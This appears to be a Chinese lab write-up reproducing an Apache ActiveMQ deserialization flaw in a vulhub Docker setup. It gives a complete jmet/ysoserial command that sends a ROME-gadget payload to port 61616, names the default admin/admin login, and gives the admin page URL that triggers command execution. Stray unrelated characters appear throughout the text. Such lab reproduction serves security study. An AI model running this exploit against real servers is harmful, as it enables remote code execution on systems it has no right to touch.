1.運(yùn)行漏洞環(huán)境
sudo docker-compose up -d
啟動(dòng)docker環(huán)境
環(huán)境運(yùn)行后发侵,將監(jiān)聽(tīng)61616和8161兩個(gè)端口。其中61616是工作端口,消息在這個(gè)端口進(jìn)行傳遞改橘;8161是Web管理頁(yè)面端口破花。訪問(wèn)http://your-ip:8161
即可看到web管理頁(yè)面谦趣,不過(guò)這個(gè)漏洞理論上是不需要web的。
訪問(wèn)8161 web頁(yè)面
2.漏洞復(fù)現(xiàn)
漏洞利用過(guò)程如下:
- 構(gòu)造(可以使用ysoserial)可執(zhí)行命令的序列化對(duì)象
- 作為一個(gè)消息座每,發(fā)送給目標(biāo)61616端口
- 訪問(wèn)web管理頁(yè)面前鹅,讀取消息,觸發(fā)漏洞
使用jmet進(jìn)行漏洞利用峭梳。首先下載jmet的jar文件舰绘,并在同目錄下創(chuàng)建一個(gè)external文件夾(否則可能會(huì)爆文件夾不存在的錯(cuò)誤)。
jmet原理是使用ysoserial生成Payload并發(fā)送(其jar內(nèi)自帶ysoserial葱椭,無(wú)需再自己下載)捂寿,所以我們需要在ysoserial是gadget中選擇一個(gè)可以使用的,比如ROME孵运。
執(zhí)行:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
image.png
因?yàn)槲揖褪窃诒镜販y(cè)試的秦陋,ip就填的
127.0.0.1
。此時(shí)會(huì)給目標(biāo)ActiveMQ添加一個(gè)名為event的隊(duì)列治笨,我們可以通過(guò)
http://your-ip:8161/admin/browse.jsp?JMSDestination=event
看到這個(gè)隊(duì)列中所有消息:(密碼默認(rèn)為admin/admin)image.png
image.png
點(diǎn)擊查看新建的消息即可觸發(fā)命令執(zhí)行驳概,此時(shí)進(jìn)入容器docker-compose exec activemq bash
,可見(jiàn)/tmp/success
已成功創(chuàng)建旷赖,說(shuō)明漏洞利用成功:
image.png
3.參考
https://vulhub.org/#/docs/download-vulhub/
https://www.cnblogs.com/backlion/p/9970516.html